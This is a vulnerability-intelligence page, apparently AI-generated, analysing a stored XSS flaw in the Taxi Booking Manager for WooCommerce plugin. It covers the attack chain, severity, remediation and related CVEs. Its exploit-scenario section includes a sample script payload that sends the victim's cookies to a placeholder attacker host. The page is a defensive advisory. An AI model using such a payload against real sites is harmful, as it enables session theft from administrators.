Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to WordPress admin
-
DeliveryAccess Taxi Booking Manager form
-
ExploitInject XSS payload in input field
-
InstallSubmit and store payload in database
-
C2Admin views booking record
-
ExecuteMalicious script executes in admin's browser
-
ImpactAttacker captures session token or performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to have authenticated access to the WordPress admin area with at least low-privilege user permissions (PR:L). The Taxi Booking Manager plugin must be installed and activated. The attacker must identify an input field in the plugin that is stored in the database without sanitization (such as booking notes, driver details, passenger information, or similar form fields). After injecting the payload, another user (typically an administrator or staff member with higher privileges) must visit the page where the stored payload is displayed - the UI requirement (UI:R) means the stored XSS does not execute passively but requires a second user to view or interact with the infected content. Default WordPress installations with this plugin active and multiple user accounts are vulnerable. Non-default configurations with strict user role management or disabled booking features would reduce exposure. |
| Impact | CVSS 6.5 indicates medium severity with network attack vector, low complexity, and low privilege requirements. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C) shows that exploitation requires authentication (PR:L) and user interaction (UI:R), which moderates the practical risk compared to unauthenticated exploits. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component. No EPSS score, KEV status, or public exploit code was provided in the input data, suggesting this is not yet in widespread active exploitation, though the stored nature of the XSS and the low privilege requirement to trigger it represent a real threat to WordPress installations with this plugin. The presence of a Patchstack report and the specific version designation (through 2.0.0) indicate this is a known, documented issue rather than a zero-day. The UI requirement partially mitigates risk since it requires another user to interact with the malicious payload, but this is not a strong control in practice for WordPress admin dashboards where users routinely click links. |
| Exploit ScenarioDerived | A low-privilege WordPress user (such as a taxi booking agent or shop manager) logs into the WooCommerce admin dashboard and accesses a form field in the Taxi Booking Manager plugin that accepts booking details, driver information, or customer notes without proper input validation. The attacker injects JavaScript code (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into one of these fields. Because the plugin stores this input directly in the database and renders it without escaping when administrators or other users view booking records, the malicious script executes in the admin's browser, allowing the attacker to steal session cookies or perform actions on behalf of the administrator. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
Stored cross-site scripting (XSS) in Magepeople's Taxi Booking Manager for WooCommerce plugin (versions up to 2.0.0) allows authenticated users with low privileges to inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or defacement. The vulnerability requires user interaction (UI:R) and affects the confidentiality, integrity, and availability of the application. No public exploit code or active exploitation has been confirmed at this time.
RemediationAI
Upgrade the Taxi Booking Manager for WooCommerce plugin to a version newer than 2.0.0. Magepeople has released a patched version addressing this stored XSS vulnerability; check the official WordPress plugin repository or Magepeople's website for the latest available version and apply the update immediately. Until a patch can be applied, implement strict WordPress user role management by restricting plugin access to trusted administrators only, disable the specific features of the plugin that accept user input if they are not immediately required, and apply a Web Application Firewall (WAF) rule to filter common XSS payloads in HTTP requests to the plugin's endpoints. Additionally, audit all existing data in the database for stored XSS payloads and remove any suspicious content. Note that WAF filtering is not a complete solution as determined attackers may bypass patterns, so patching remains the primary remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a CWE-79 improper neutralization of input during web page generation vulnerability, classified as stored XSS. The Taxi Booking Manager for WooCommerce plugin fails to properly sanitize and escape user-supplied input before rendering it in web pages. The plugin's WordPress integration (as indicated by the CPE and tags) means the vulnerability exists within a plugin architecture where user inputs may be stored in the database and later rendered to other users without adequate output encoding. Stored XSS vulnerabilities are particularly dangerous because the malicious payload persists and affects all users viewing the compromised content, not just the attacker.
Know when Taxi Booking Manager For Woocommerce gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Primary rating from Vendor (Patchstack) · only source for this CVE.
CVSS VectorVendor: Patchstack
DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Magepeople inc. Taxi Booking Manager for WooCommerce allows Stored XSS.This issue affects Taxi Booking Manager for WooCommerce: from n/a through 2.0.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Broken access control in the Taxi Booking Manager for WooCommerce WordPress plugin (versions <= 2.0.3) allows unauthenti
Unauthenticated attackers can bypass authentication in the WordPress plugin Taxi Booking Manager for WooCommerce (Magepe
Broken access control in the Taxi Booking Manager for WooCommerce WordPress plugin (versions prior to 2.0.8) enables att
Input data manipulation in Magepeople Inc.'s Taxi Booking Manager for WooCommerce plugin (all versions through 2.1.1) le
Unauthenticated broken access control in Magepeople Inc.'s Taxi Booking Manager for WooCommerce plugin (versions up to a
Missing authorization in the Taxi Booking Manager for WooCommerce WordPress plugin through version 2.1.6 allows unauthen
EUVD-2026-25217
GHSA-cr8r-qr27-mm7q
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB